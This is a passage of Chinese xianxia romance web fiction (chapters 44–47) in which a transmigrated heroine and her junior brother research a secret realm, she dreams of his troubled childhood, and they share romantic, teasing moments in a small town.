沈安之脚步未停,眸光无声垂落,落在她簪着蝴蝶发簪的发顶,薄翼随着她步伐轻轻翕动,声音一下子变得低沉:“此地拢共不过巴掌大,寻师姐自然简简单单。”说的理所当然,跟喝水一般轻松。 姜喻忍不住笑了一声,真是沈安之能说出来的话,挺沈安之风格。 回到客栈的厢房,姜喻喝了一口辣口的姜茶,才解开包袱把书卷一样样摆出来。 “师弟,找的都在这里了。” 姜喻随手拿起泛黄脆硬的县志翻阅,上面寥寥数语得记载百年前天梯陡然现世之事。百年前那场撼天动地的异变,如今蛰伏在这小楷里。 这座小镇五十里外无名深山中,穹顶骤然乌云密布。 不过一个时辰,八十一道紫电悍然劈落,雷光灼亮百里荒岭。吸引不少即将羽化或飞升的闭关大能破空而至,可未等他们逼近山巅,但见通天玉阶寸寸崩裂。漫天星屑,凡尘仙途断尽,自此世上再无飞升之人。 姜喻单手托腮,指尖轻点泛黄的书页一条批语,“师弟,上面说到此事与无尘仙山秘境有关,只要找到这座仙山,就可知晓当年之事的来龙去脉。” 姜喻对所谓的真相不感兴趣,对这方天地总觉隔着一层无形的壁障,连那万人渴求的飞升大道,亦掀不起她半分好奇。 原著并未细述此间种种,不过主角团既寻得了秘境入口,想来她与沈安之按图索骥,想来也非难事。 “哪会这般简单找寻真相,不过后人种种臆想,穿凿附会,岂能当真。”沈安之随手阖上书,指尖轻轻叩击桌面。 他唇角噙着一丝意味不明地笑,“秘境位置扑朔迷离,师姐就这般笃信你我寻得到?” 姜喻笑着眨眨眼,迎上他的沉沉的目光,“试试嘛!万一呢?听说里面奇花异草众多,万一撞大运,说不定寻到抑晦丹药方中的草药了。” 第44章 沈安之瞧见她信心与斗志皆是满满,话到嘴边的戏谑终究化为从喉头极低的哼笑,“既如此……就用心寻吧。” 姜喻颔首,捧着书卷垂眸认真地翻阅细读,“我可得看看,找出线索来。” 见她如此,沈安之喉头微梗,几乎是强硬着挪开目光盯着手中书卷发呆,指尖无意识地翻转夹着一枚铜钱轻轻敲击桌面。 抑晦丹作为早已失传的丹药,寻齐全草药绝非易事,光一张药方所需药草已多达百种。其中过半数的灵株,莫说寻获,便是现世一株,也足以在修真界掀起腥风血雨,价值连城…… 偌大宗门,唯有姜喻不知疲倦地为自己…… 姜喻托腮看完书卷,整齐折好一张小镇五十里山脉的堪舆图放进袖口,起身欲走。 温热触感倏地划过腕骨,沈安之的尾指状似无意地轻轻勾过,又极快地收回袖中,仿佛只是衣袖拂过的错觉。 他目光依旧落在书卷上,声音平淡无波:“师姐去哪?” “回房歇 息。”姜喻答得干脆。 她实在想不到什么合适留下的理由,不过见沈安之喊住自己,她脚步顿住,倒是乐见其成,笑吟吟地望向他。 沈安之对上她含笑的眸,敲击桌面的指尖微顿,脑中不自觉想起前几日之事,一股莫名的燥意直冲喉间。 他仓促地抓起桌案上的茶杯虚虚抿了一口,喉结滚动了一下。借此掩饰着什么,只含糊地“嗯”了一声。 姜喻对此习以为常。 这几日沈安之没让她同住一屋,耗费灵力布下繁琐的护身阵法,又将“银花”法器塞在床底镇守,更绝不允她在他的厢房中多待片刻。 真叫姜喻好奇得紧,心尖发痒。 姜喻不再多言,提裙行至门边,在跨过门槛的瞬间回首,恰好捕捉到沈安之来不及完全收回的、带着探究与一丝复杂情绪的目光,匆匆掠过她的背影。 她笑了一下,话终究未出口,只留下一片翩然的衣角,身影消失在了门外。 姜喻回到厢房草草收拾一下,刚蜷进被衾合眼,便被一道不容抗拒的力量拽入梦境,仿佛有冰冷的指尖骤然穿透意识,将她直直拖入黑暗。 姜喻睁开眼,惊觉自己居然出现在鹤门宗,身着统一的鹤门宗弟子服,不过却是一身粉黛衣裙,头盘双丸子,远看倒像颗水灵灵的小水蜜桃。 姜喻垂眸看清稚嫩白皙的十指,她如今身体大抵不超过十岁。 “站住!”一声怒喝打断她的思绪。 姜喻下意识循声望去,六个高挑的青年弟子正狂奔追逐一玄衣少年,他看起来同样年岁不大。 他抱紧怀中包袱,直挺挺往前冲,和刚抬眼的姜喻差点撞了正着,他身形比她高一些,若是相撞她只怕得双脚离地,栽个狗啃屎。 可最后关头,玄衣少年侧身利落泄力,任由自己摔到地面,不然姜喻铁定被撞飞出去。 他利落从地面爬起,姜喻刚看清他眉眼,他早已经急匆匆地跑远。 刚刚,那个是十岁的“沈安之”? 几个凶神恶煞的青年弟子还追着他喊打,小小的身影在宗门廊柱间狼狈逃窜。 姜喻身形被一股没由来的力量轻拽,下一瞬她目睹小沈安之仓惶间猛地撞开藏经阁沉重的木门,将自己直挺挺地摔了进去。 姜喻赶忙伸出手扶住他,却被他穿过掌心,沈安之反应来翻身以背死死抵住大门。 门外脚步声与叫骂声渐近,他心口狂跳。 刚刚摔了一跤,掌心蹭过粗砺木地板,竟划破了一道口子。 血珠渗出,他吃痛缩手,未想到染血的掌心无意按在木门触发结界。 霎时间,金光微闪,无声中侧边显露出一道暗门。门外脚步逼近,他不及细想,闪身挤入凭空出现的暗门之中。 穿过暗门,蛛网低垂,尘埃在他掌心火折子斜射的微光里浮动。 整个幽深暗室,堆满了蒙尘的古卷,这方被遗忘之处成了他绝佳的庇护所。 姜喻看着他精疲力竭地盘膝坐下,陡然他捂住胸口,疼得身形晃的厉害。 姜喻身形定格住,动弹不得,心底一慌,无声得喊了一声他的名字。 那双深不见底的眸子漫不经心扫过四周,最终却像生了根,直勾勾钉在她所站的方位。 沈安之莫不是看得见自己? 虽然按理说她的梦境,本不该无缘无故梦到沈安之。 姜喻焦急地喉头溢出声,轻声唤去:“师弟……” 沈安之并未回答她。 他拖着疲惫的步伐一步步靠近,姜喻下意识屏住呼吸,只见他身形微颤,力竭得双脚虚浮地一个踉跄,垂眸时眼底沉淀的暗色浓得化不开。 姜喻心口一紧,未及细想已伸手去搀,指尖却只触到一片虚空。他踉跄着稳住自己,整个身形径直穿过她。 一阵凉风忽地掠过,卷起她耳畔碎发。姜喻急急回身,撞入眼帘的唯余那个十岁的小小少年过分单薄,刺眼的玄色背影与这昏暗的暗室几乎融为一体。 她眼前光影流转,一帧又一帧画面如走马灯般在她眼前掠过。 她看见了沈安之的过往。 就这样猝不及防地窥见,这入门尚不足一年的小小少年,是如何在日复一日里,小心掩了自己痕迹,蜷在暗门后的这方天地。 他会就着微弱火折子光,指尖拂开积灰,在那些泛黄脆弱的禁书残页间翻阅。 也会在被其他弟子追赶时,跑到此地避人眼目,以求一时安逸。 更会在无人可见的此地,独自一人承受反噬的疼痛,直至汗流浃背,身形蜷缩在一起昏死过去。 直至一日,他在一卷丹毒密录的一书的最后一面,窥见了“抑晦丹”三字。 其上记载:此丹诡谲,可抵天下万般反噬,强压祸根。 沈安之手指攥紧了泛黄的纸页,死寂的眸底这一瞬闪烁出希冀的微光,他唇角轻勾,小心翼翼将药方一字不漏的誊抄下来,“找到了……” 姜喻同样看清,这张方药方竟是如此才得知的。 可她一想到沈安之日日躲避、日日自保、反噬发作,磕磕绊绊地成长至今。便没来的心堵,像塞了一团棉花。 她的指尖虚虚悬停在沈安之的发顶上方,极轻、极缓地拂过,像怕惊扰了什么易碎的梦魇。 “师弟,”姜喻声音里含着一种前所未有的情绪,“往后,我会护着你,改变故事的结尾。” 梦境中浮现,是原著里轻描淡写、一笔带过的岁月,是沈安之从不曾袒露于人前的晦暗过往。 尤其那一道盘踞在他心口、狰狞扭曲的旧疤,历尽数年岁月,至今都未曾真正结痂。 那伤……究竟从何而来? 姜喻心头盘踞着无数疑问,沉甸甸地压着,几乎要破喉而出。然而未等姜喻去深究去细看,梦境便骤然消散。 醒来时,她眼角洇着湿凉。手背胡乱抹了把脸,咸涩的湿意蹭在皮肤上。 几乎是念头刚起,一股强烈的冲动便攫住了她。 要见他,立刻!马上! 晨雾尚未散尽。 姜喻胡乱披了件绯红外衫,青丝未挽,散乱地披在肩头。她甚至顾不上穿好,赤足踩着冰凉的木板,几步便冲到沈安之厢房紧闭的门外。 “笃、笃、笃……” 她指节带着一丝不易察觉的微颤,轻轻扣上门扉,落下三声急促又竭力压低的轻响。 姜喻下意识屏住了呼吸。 沈安之疲倦揉了揉眉心,指尖按上突突跳动的太阳穴,一场并不安稳的梦中挣起身,里衣被薄汗浸透,黏腻地贴在身上不说,又带着说不出的烦厌。 急促的敲门声,他起身掐诀理好衣衫,随手打开门,就见姜喻匆匆忙忙地出现在自己眼前。 姜喻胸口起伏,千言万语堵在喉间,却在看清沈安之的刹那骤然失声。 他就那样安然无恙地倚在门框上,带着一身未散的睡意和慵懒,仿佛她那些让她担忧的梦境全是凭空臆想。 沈安之倦怠的目光懒懒垂下,却在触及地面的瞬间骤然凝住。 姜喻赤足踩在冰凉粗糙的木地板,视线不受控地向上,凌乱的衣襟、散落的发丝。 意识到她匆忙地衣衫略显凌乱,一时屏住呼吸。 一股无名地焦躁与燥热用力拉扯,从脚底至到头顶的热度,让他眸底晦暗逐渐幽深,喉间发紧。 他几乎是仓促地别开眼,视线躲开那抹晃眼的莹白,声音低哑:“师姐,怎么这般匆忙?” 他向前一步,不着痕迹地欺近。 “我、我就来看看师弟如何了?”姜喻抬眸干笑了一下,下意识地想后退半步又生生忍住,脚底的寒凉和心尖的热倒是一时平衡了。 方才梦境带来的心悸还未平复,眼前人熟悉的气息让她恍惚得,一时竟分不清梦境与现实。 “我如何?”沈安之佯作漫不经心地重复,“我很 好。不过,师姐……”他刻意顿了顿,眸底翻涌的墨色深得让姜喻心尖骤然一缩,“就打算这般说?” 沈安之带着几分不易觉察地贴近后,她顿时只觉腰间一紧,天旋地转间已被他打横抱起。 沈安之的手臂坚实有力,不容她挣扎,属于她的、带着暖意的馨香瞬间霸道地纠缠上他的鼻息,无孔不入,“我看师姐并非不知冷暖,怎么来的仓促?是打算继续教师弟‘心悦’滋味?” “沈安之!”姜喻强压的惊呼溢出,慌乱地抬眸,撞见他紧绷的下颌线条,那侧脸上似乎透着压抑的、说不出的隐忍情绪。 沈安之抱着她大步流星,径直踏入隔壁厢房。将她轻轻放落在床榻上,动作带着一丝不易察觉的轻柔。 甫一放下,沈安之便僵硬身形一顿,背过身去。指腹相互摩挲着残留触感,垂眸看她,眼底藏着幽深的暗涌,“师姐,穿戴好再说……” 他拖过一把椅子坐下,胸腔里叫嚣着燥热,许久才勉强平息一两分。 姜喻怔怔地望着他的背影,心底那点残余的惊讶被笑意取代。 沈安之,现在倒是知道害羞了? 姜喻含笑着噗嗤一声,沈安之回眸觑了她一眼。她憋住上扬的嘴角,整理好鞋袜和衣衫。随他托了把木椅,又倒一杯凉茶给他,心底早暗自准备说辞。 姜喻故作轻松地抛出饵线:“师弟,‘心悦’二字嘛,总需些‘引子’呀……” 烛火在沈安之眸底跳跃,映着他微挑的眉梢。“哦?”尾音拖长,带着一丝玩味,像羽毛搔刮在人心尖,静待下文。 “譬如,”姜喻顿了顿,目光清亮地迎上他,“坦诚相待,说些彼此不知的私密事,才算真正交了心?就比如,师弟厌恶欺瞒,这事儿,我可摸得门儿清了。” 他指尖在杯沿缓缓划过,“师姐想探听什么?” 姜喻语气微顿,到了此时反而喉间发紧,攥着袖口的手指微微泛白。压在舌根的话,到底是该倾吐的真心,还是不该惊动。她深吸一口气郑重道:“师弟,我想问一问你胸前伤疤由来……” 她静等了一下,原以为等不到沈安之的答案。 沈安之抱臂地看向姜喻,思索了一番,眼底闪着一丝不易察觉地认真,暗藏下小心翼翼道:“我十年前失了半年记忆,浑噩间由顾师姐带我拜入鹤门宗,自此胸口那道旧疤便再未真正愈合。 以此为始,跗骨之蛆般的反噬,从起初半年一次的钝痛折磨,渐渐变得频繁,直至如今……蚀骨焚心之痛便会如期而至。” 沈安之语气是一如既往地懒散轻松,仿佛说得从不是他自己。 第45章 姜喻抬眸直愣愣地望向沈安之。 他啊……说得太轻松了,仿佛他才是那个事不关己之人,便让一切掩埋于过去。 姜喻微微抿唇,目的达成了不是嘛,可胸腔溢出的酸楚感又算什么。 “师弟,若是旧疤不恢复,你会如何……”姜喻压下音色轻颤,眼尾泛红,拢在袖中的指尖一寸寸捏成拳压在腿上,眸底深藏着微光闪烁。 看见姜喻眸底的微光,沈安之头一次懂得什么叫不忍心,不忍说出他早有预感的答案。 哪怕如今有抑晦丹存在,反噬不再疼痛发作,若是不弄清楚体内旧疤由来,只怕难逃不过…… 沈安之抱臂弯唇,微扬了扬下颌,转移话题道:“师姐不是信心满满吗?抑晦丹在,师弟的伤疤亦有可能恢复之机。” 姜喻指腹无意识地蹭过泛红的眼尾,似要拭去并不存在的泪痕,追问道:“真的?”声音里带着一丝几不可察的轻颤。 “自然。”沈安之将杯中凉透的茶一饮而尽,眸光沉沉在她眼尾扫过,心中微动,似被羽毛搔过,微痒。他放下茶杯,“既然师姐问完了……” 话音未落,他身形前倾,一双狭长的丹凤眼挑起,眸底侵略性毫不掩饰。修长指尖捻起她一缕因匆忙赶来而散落的发丝,慢条斯理地缠绕在指间把玩,“倒该师弟问问了。” 姜喻被他逼近的气息笼罩,强自镇定地颔首,“嗯。” “师姐是看到……”沈安之的视线掠过她微乱的鬓发,想到她方才失魂落魄闯入的模样,尾音拖长,带着一丝探究,“亦或听到了什么,才会如此慌张?” “做了一个梦。”姜喻脱口道。 “梦?”沈安之缠绕发丝的指尖微微一顿,眸底暗色翻涌,探究的意味更浓。 姜喻点头。 其实此刻想来,刚刚梦境如此真实又荒谬,看得她紧张担忧,又怎敢断定所见便是沈安之的过往? 念头方起,左眼骤然传来一阵刺痛,仿佛锐器狠狠扎入。 姜喻闷哼一声,蹙紧眉头,抬手捂住左眼,眼中瞬间漫开水光。 沈安之呼吸一滞,无措慌忙地在衣袖蹭了一下手心不存在的濡湿,抬手凑近前查看姜喻眼睛。 “如何?”沈安之下意识捧起她的脸颊,宽大温热地手掌将她小脸占去了一半的位置。 温润灵气如薄纱般覆上左眼细细探查,眼底清澈透亮,不见半分妖气侵染的痕迹。 “方才……好疼。”姜喻放下揉眼的手,脸颊仍被他温热的掌心托着。长睫如蝶翼般颤了颤,抬眸撞进沈安之低垂的丹凤眼里。 原来他会这样专注地、带着一丝不易察觉的紧张凝视自己。 “现下好多了。”姜喻轻声提醒。 沈安之恍若未闻,指腹非但没松,反而沿着她细腻的肌肤轮廓,极有耐心地捏了捏,呼吸在她咫尺间微妙地凝滞了一瞬。 他倏然倾身靠近,唇角勾起一抹意味不明的浅笑,温热的吐息几乎拂过她鼻尖:“怎么回事,师姐?”指腹微微施力,带着一种近乎狎昵的亲昵。 原来捏起来是这般……软腻。 “不、不造啊……”姜喻被他捏得口齿含混,脸颊肉微微嘟起,含糊抗议,“师弟……还要捏、捏到肿么时候……” 她语气里半是无奈,半是习惯性地纵容。 沈安之眼底笑意更深,指尖力道收得恰到好处,确保不留半点红痕,只将那温软的触感牢牢控在掌中。哼笑时,声音低沉带一丝蛊惑:“师姐,在紧张什么?” 空气仿佛都因他专注的逗弄而变得稀薄,无声无息地缠上了一丝暧昧。 姜喻脸颊悄然浮起一层薄红,抬眸瞪了沈安之一眼,小声地嘟囔:“没有啊……” 他如今倒是越来越喜欢靠的她很近…… 沈安之垂眸,目光锁在姜喻颊边洇开的霞色。眸底似有光焰无声跳动,兴奋、雀跃呼之欲出,如同终于寻到了渴求已久的秘宝。忽的欺身向前,任由吐息似有若无地落在她轻颤的长睫,深邃的眸子里翻涌着难以言喻的情绪。 “是吗,师姐……”沈安之轻声呢喃,眸底翻涌的情绪如没有填满的深渊,带着一丝隐秘的不满,靠近再贴近,彼此气息纠缠,得以一丝慰藉和疏解…… 姜喻晕染着诱人薄红的肌肤,如枝头熟透的蜜桃,散发着无声的邀请,引人采撷……就是很好咬的样子。 沈安之俯首俯身吻在她脸颊时,先轻轻印在那片绯色之上,随即像是某种确认与标记,齿尖极其克制地、带着一丝研磨的意味,在柔嫩的肌肤上轻咬了一下。 沈安之力道收得极好,只留下一点微麻的齿痕,并未让姜喻感到多少痛楚。 “沈安之!”姜喻不得不拔高音量,隐隐透出她的紧张与心慌。 沈安之亲眼看着她薄红骤然加深,如同晕开的胭脂,彻底染透她的脸颊,沈安之心中翻腾不休的心海才终于沉淀下来,化作一丝心满意足的兴奋。 姜喻气鼓鼓地伸手去掰他捧在自己脸颊上是手指。 沈安之眼睫低垂,竟真顺从地松了力道,任由她将自己的手推开。 窗棂外斜射的阳光,映着姜喻因羞恼而涨红的脸颊和圆睁的亮眸,活脱脱一只炸了毛、啾啾直叫的绯红小雀。 沈安之非但不恼,唇角反而勾起一丝极淡的弧度,眼底是毫不掩饰的趣味,就那么定定地瞧着她。 “师弟,”姜喻揉着自己被他捏得微红的脸颊,又羞又气地瞪过去,“你怎么来来回回就只会咬人?还、还总挑脸颊……”这地方还亲了又亲,偏就爱挑脸颊下嘴。 不知内情的,怕要以为他终于开了情窍。 知晓内情的,简直是要怀疑沈安之,他是不是有什么不可言说的特殊癖好…… 沈安之闻言,非但无半分愧色,反而理直气壮地迎上她的目光,目光在她泛红的脸颊上慢悠悠扫过,“师姐,你这时日不就只教了师弟这 么多?”最后几个字他微微咬重。 “……”姜喻被他这倒打一耙的话噎得喉头一哽。梗着脖子,莹白的耳垂微红,抬眸狠狠剜了他一眼,“照你这么说,还是我的不对了?!” 话虽如此,姜喻确实按着循序渐进的理,没有教沈安之太多。在这方面,沈安之有时瞧上去仿佛是一张任她涂抹的“白纸”。 他放心地由她在“白纸”上面是去画花,还是去画草。 “好好好。”沈安之笑着抱臂,心海暗潮翻涌,燃起一丝燥热的暗火被他压下。他忽的弯唇,漫不经心地看向它处,站直修长身形,指尖夹着一枚铜钱翻转、把玩。 “师弟可没有这么说,”他嗓音带着点慵懒的笑意,“不过师姐既如此讲了,想必不吝啬再教些别的吧?” 姜喻无语地唇瓣微噘,正想反驳,脑子里却灵光一闪。 差点又让其他事情给糊弄过去了。 她语气陡然认真:“师弟,你刚刚说,你失去了九岁时半年的记忆?” “对。”沈安之试图回忆,脑海只有一片空白,如同被生生剜去一块,“按顾师姐所言,在救到我时,我周身有一种似有若无的妖气萦绕不散……” 沈安之指间翻转的铜钱倏然停滞,眼底掠过一丝阴鸷取代了眸底惯有的散漫,“妖物多狡诈,我想多半是遭了妖物的毒手。”说到“妖”字,沈安之本能地眉宇厌恶拧起。 “顾师姐怎么救的你……” “兵戈相战后一处抛尸的乱葬岗,我独自一个人爬出来死人堆后遇到了顾师姐。”沈安之的声音很轻,说的看似极为轻松,可下意识微皱眉头的模样,依旧显露出不愿回忆的记忆。 “竟是如此。”能在那种地方活下来,又逃出生天遇见顾疏雨,对一个九岁的小小少年而言,堪称是九死一生。 沈安之捕捉到姜喻眼底毫不作伪的怜惜,那目光像暖融融的阳光,没人能够抗拒,包括他。 沈安之指尖无意识地摩挲着,喉间发紧,声音压得极低,带着一丝不易察觉的试探:“师姐……可以抱一下你吗?” 请求来得突然,沈安之头一遭对她这般开口。姜喻微微一怔,旋即点头,“可以。” 得了姜喻首肯,沈安之小心翼翼地起身,将她轻轻拢入怀中。 他的下颌抵着她柔软的发顶,双臂缓缓收拢,将她纤细的臂膀圈住。她周身的暖意,挟着身上的馨香丝丝缕缕渗入他冰冷的心海,带来一种近乎眩晕的满足。 她的脸颊被迫贴在他玄色衣襟上,清晰听到布料下胸腔里越来越快、越来越重的心跳声。 沈安之狡黠暗笑,垂眸见她,微微蜷起的指尖,更抱紧一分。 她大抵并不会知晓,此刻自己圈抱着她的姿势,正无意识模仿着彼此她醉酒后笨拙安抚他的模样。 沈安之满足地弯唇,轻阖双眼。 “师弟……可以了吗?”姜喻抬眸眨了眨亮眸。 沈安之勉强维持住面上的平静,动作极缓,一点点松开环抱着她的力道。 四面凉意乍然袭来,姜喻下意识抬起手背贴了贴脸颊,仿佛想将热度压下去。 沈安之微微歪头,目光在她绯红未褪的脸上细细巡梭,唇角勾起玩味笑意,“该问的也问完了,师姐你接下来有何打算?” 姜喻眼睫低垂,目光下意识地掠过意味深长的暗示,只作未觉。弯了弯眼睛,状似认真地想了想:“自然是收拾收拾呀。明日我们就从这个小镇离开,进山去。” 第46章 “便如师姐所言,”沈安之抱臂侧眸,看向窗外透来的和煦阳光,晦暗眸底似有微光闪过,眼尾的朱砂痣妖冶异常,“不过今日时辰尚早,师姐便不打算出去走走?” “师弟所言在理。”姜喻唇角含笑,目送沈安之起身。 沈安之放缓步伐移至门边,指尖搭在冰凉的门扉上,却未闻身后挽留之声。他身形微顿,回首眼底闪过一丝不易觉察的暗流:“怎么,师姐当真一人前去?” “嗯。”姜喻心思已飘向待办之事,笑着对他挥了挥手,“师弟快去歇着吧,养足精神才要紧。” 沈安之轻哼一声,目光在姜喻身上短暂流连,仿佛要将她此刻的模样刻入眼底。随即忆起了未竟之事,微微颔首:“嗯。” 阖上房门,将玄色身影彻底隔绝在外,室内重归安静。 姜喻从衣襟深处摸出一个小小的荷包,掂量着仅存的几两碎银,轻轻叹了口气。 复又自我开解地弯唇,好在风云城姜氏钱庄的金字招牌遍布修真界,豪阔之名无人不晓,她压根不必为这点银钱发愁。 她一人穿行小镇,步入小镇最为喧嚣的东市。姜喻还未走近,目光便被远处一座巍峨建筑牢牢攫住。 整座楼阁通体金光闪烁,匾额上是“姜氏钱庄”四个古篆大字,琉璃瓦在日头下折射出刺目的华彩,环绕其周身的无形波动是数道品阶极高的防御法阵交织成的屏障。 灵光乍现,其中威压暗藏。 姜喻惊讶地微微张了张口,暗自咂舌,这也太夸张了吧。 她虽早有心理准备,还是被这扑面而来的“财大气粗”震得脚步微滞。 深吸一口气,姜喻穿过透明结界,足下光洁如镜的黑曜石地面映出那道绯红的倒影。 离柜台尚有几步,柜台后正噼啪敲打算盘的青年似有所感,抬起头,挂着钱庄伙计恰到好处的和煦微笑:“贵客,烦请出示信物,置于此石台之上。” 青年所指的石台古朴,台面正中一只栩栩如生的重明鸟雕像单足独立。它紧闭着眼,雕刻的羽翼纹理纤毫毕现。 姜喻点头,依言取出令牌。 令牌甫一脱手,便被无形之力牵引,稳稳悬浮于石台上。下一瞬,雕像紧闭的双目睁开,双目是两枚流转着赤红微光的宝石。 一道柔和的微光自鸟目中射出,瞬间将姜喻笼罩。光芒如有生命般在她周身飞速流转、凝聚,最终化作一只半透明的绯红的重明鸟虚影,亲昵盘旋在姜喻肩头,发出一道清越的鸣叫。 “嗬!”柜台后的青年枣卿惊得倒抽一口冷气,整个人几乎弹起,上半身急切地探出柜台。 平日里验证信物,客人的信息不过是在石台镜面上一闪而过,何曾有过这般异象?待他看清令牌上清晰雕刻的重明鸟图腾与“姜喻”二字时,职业性微笑瞬间被巨大的震惊与狂喜取代。 枣卿声音不经意拔高了几分,带着难以置信的激动,道:“少、少城主?!您亲临怎么也不提前知会一声,小的好去迎您。这、这验证,对您来说大可不必。” 被“少城主”这称呼叫的姜喻颇为不好意思,她笑着抬手将令牌收回,令牌与肩头的重明鸟虚影瞬间化作流光飞回掌心令牌,“毕竟是该守的规矩,一样也不能坏了。” 枣卿面上带着差点掩饰不住的狂喜,咳了一声,笑意着连连搓手:“您是有何事尽管吩咐,我定能为少城主办妥。” 姜喻要来纸笔写下了所购之物,“朱砂和黄纸,现成的符纸,以及这些丹药,多谢了。” “少城主不必客气,包在我身上。”枣卿拍拍胸脯胸有成竹,说完便请她到内阁小坐。 姜喻随他走入私人内阁坐下,随眼打量四周,香炉熏香袅袅,内里装饰内敛典雅,倒不是一贯的富贵迷人。 坐下尝了几口点心的功夫,枣卿已将准备好的物品放在储物袋中交给她,“少城主,东西都准备在储物袋中了。您是打算去哪?” 姜喻思忖一番,决定找他打听:“我打算去无尘仙山碰碰运气,你这边……最近可听到什么风声没有?” “无尘仙山啊……”枣卿一瞬面露难色,目光在姜喻脸上逡巡片刻,似是不忍心打击姜喻的念想。 他笑了一声才说:“百年来,寻它的人如过江之鲫,多到数不清。近来么,倒是安静了些许。不过,少城主若真想去碰这个运气,我这儿,倒是有份还算详尽的堪舆图,或许能作个参考。” 他寻到东西回来,从宽大的袖袋里掏出一卷泛黄的皮纸推到姜喻面前。 姜喻展开略一扫视,其上标注的山势走向与险要之处,远胜她自己寻来的那份,将图收拢,抬眸弯唇一笑:“多谢,告辞了。” 枣卿亲自将她送至钱庄门外的长街上,他驻足,从怀中取出一物。玉佩通体澄澈碧色,玉佩递过,声音低沉而郑重:“少城主,此物贴身收好。若遇绝境,捏碎它,附近分号风云城弟子自会倾力相助。愿少城主永无用上它的一日。” 玉佩入手微凉,旋即又被掌心暖意包裹。姜喻心头微暖,眉眼弯弯,应得清脆:“好!” 枣卿袍袖垂落,对着她转身的背影,深深一揖,声音轻却沉: “愿少城主,此去千山,平安归来。” 姜喻刚走出姜氏钱庄的范围,便感觉脊背发凉,一股沉闷地窥伺感覆在她身后。 索性取出隐匿符捏在指尖,脚步由慢渐快,趁着步入拐弯人多的时机,她顺利地转到一条狭长小巷隐匿了行踪。 轻盈脚步自身后逼近,他强压着后怕四下张望,鼻尖朝空气嗅了嗅,视线准确地看向姜喻消失的位置,稚嫩声音带着明显的颤抖:“你快出来,我都找到你了。” 姜喻指尖灵力微闪,“嗤啦”一声轻响,隐匿符应声而落。身影便如鬼魅般在少年身前凝实,一柄短刀轻巧地贴上了他脖颈,她歪了歪头,“小鼠妖鬼鬼祟祟跟着我,嗯?” 小鼠妖浑身一颤,看清颈间那抹寒光,吓得连呼吸一紧,眼神慌乱地乱瞟,手指紧张地绞着衣角,声音细弱蚊呐:“我……我是来还东西的。” “还什么?”姜喻的刀锋依旧稳稳地贴着,单听语气,听不出喜怒。 “这个……”小鼠妖抖得厉害,几乎是闭着眼,手忙脚乱地从怀里掏出一个物件,正是姜喻的储物袋。 他双手捧着,像捧着一块烫手的山芋,递到姜喻眼前,带着哭腔哀求:“是、是我顺走的,我还你,求你别杀我。我才修行了五十年,刚刚化形……” 小鼠妖被刀锋钉在原地,浑身紧绷,新添的伤口在粗布衣裳下隐隐洇出血迹。 姜喻看着他这副凄惨模样,心尖那点恻隐到底占了上风,只是疑窦未消,横在他颈间的短刀并未撤回:“谁叫你来的?” “不、不能说……”小鼠妖牙齿咯咯作响,带着股豁出去的绝望,“说了…他就要杀妖了!” 姜喻的目光在他惊惶的脸上停了片刻,又扫过那血迹斑斑的衣裳,抬手接过储物袋,刀锋顺势撤回挽了个刀花收入鞘中。 “行了,你走吧。” “……真、真的?”小鼠妖猛地抬眸,眼底满是难以置信的狂喜。 “嗯。” 姜喻刚应答完,小鼠妖愣怔一瞬彻底回神,随即像是生怕她反悔,头也不回地扎进小巷深处,转眼便没了踪影。 “出来吧。”姜喻眼波微动,目光似不经意般扫过四周院落。 “呵。”一声轻笑自身后墙头落下。 姜喻循声望去,只见沈安之闲闲地横坐在邻家墙头上。午后暖阳倾泻,为他周身镀上一层柔色金光。 墨发被绯红发带高高束起,左耳垂下的银饰缀着红流苏,连同泛红的发尾在微风里轻轻晃荡。他垂眸,眼尾那点朱砂痣在光影中愈发妖冶,唇角弯起玩味的弧度:“师姐怎知是我?” 姜喻唇角一翘,慢悠悠转过身,仰起脸看他,眼里闪着点小得意。 她能说这是看多了小说得来的经验吗? “这小妖既能摸准我出门的时辰,又能寻到我,还巴巴儿地把储物袋送回来……”她脑袋微歪,像只得了趣儿的绯红小雀,带着了然的笑意。 “怎么看,都是师弟的手笔呀。” “恭喜师姐,”沈安之指尖把玩着铜钱,金光在他指尖上下翻转,弯唇哼笑一声,映着他含笑的眉眼。眸底惯常的晦暗被此刻的愉悦驱散,只剩与她默契的愉快,“猜得真准。” 姜喻笑着冲墙头上的他招了招手,“师弟,你这好事做得,倒是不留名姓。” 沈安之逆光而坐的身影顿了顿。 他心头被她笑意不轻不重地挠了一下,随即足尖一点,利落地翻身跃下。 衣袂翻飞间带起几片落叶,他慢悠悠踱至姜喻面前,微微倾身,唇边噙笑,“不过是想……考考师姐的眼力罢了。” “考我?”姜喻挑眉,学着他以往样子抱起双臂,故意将头一偏,显出几分娇憨的挑衅。 沈安之眼底掠过一丝兴味,也学着她的模样抱臂侧眸,低低轻笑出声:“着实有趣。” 他话音微顿,话锋一转,“不过,我原以为,师姐会顺手捏碎小妖的妖丹呢?” “啊?”姜喻脸上轻松的笑意瞬间凝固,她有些茫然地眨了眨眼。 “师姐不是最爱看妖丹碎裂时,如烟火般炸开的绚烂光点么?” 第47章 “难道不是吗?”沈安之倾身靠近,蓦然弯唇,语气轻描淡写,似在谈论一件再寻常不过的消遣,“这只小鼠妖道行浅薄,拿来师姐练手,正合适。” 他话音落下,好整以暇地看着姜喻,如愿捕捉到她眼中一闪而过的错愕与呆愣。 姜喻脑海中电光石火般闪过穿书初期,为阻沈安之吸纳妖丹之力,她曾两次出手阻拦捏碎了妖丹。 结合沈安之种种行为……莫非他几次三番在她面前捏碎妖丹,是误以为她喜欢碎裂瞬间迸溅如烟花的妖力流光? 她清亮眸光不偏不倚与沈安之目光相汇,撞进他带着笑意深潭般的眼底。 姜喻无奈地揉了揉袖角,认真地解释道:“我并非爱看妖丹炸裂……小鼠妖行窃且已归还我,倒是罪不至死。” 再者说了,妖丹对她来讲无用,意图只想沈安之不误入歧途。 沈安之抬步与纤瘦的身影同行,意味不明地弯唇:“师姐倒是心善,不过对妖,何必如此……” “在我看来,人分善恶,妖有好坏。”姜喻轻笑了一下看向沈安之。心中并不强求沈安之认同,她亦不再多言。 姜喻自知来自沈安之未曾见过的书外世界,她未经沈安之在此的苦,亦做不到高高在上劝他人多良善,所生长的环境本造就了差异。 沈安之静听她的话,脚步放缓,侧眸看向她笑靥,弯唇哼笑,“师姐,真是有趣的紧……” 姜喻笑着不动声色地挑眉,垂下长睫,眸光流转,瞧见足下两道影子若即若离。 足尖不着痕迹地挪了半寸,两人的影子便靠近一些。衣袂轮廓叠在一处,有了牵扯,便自然交织在一起。 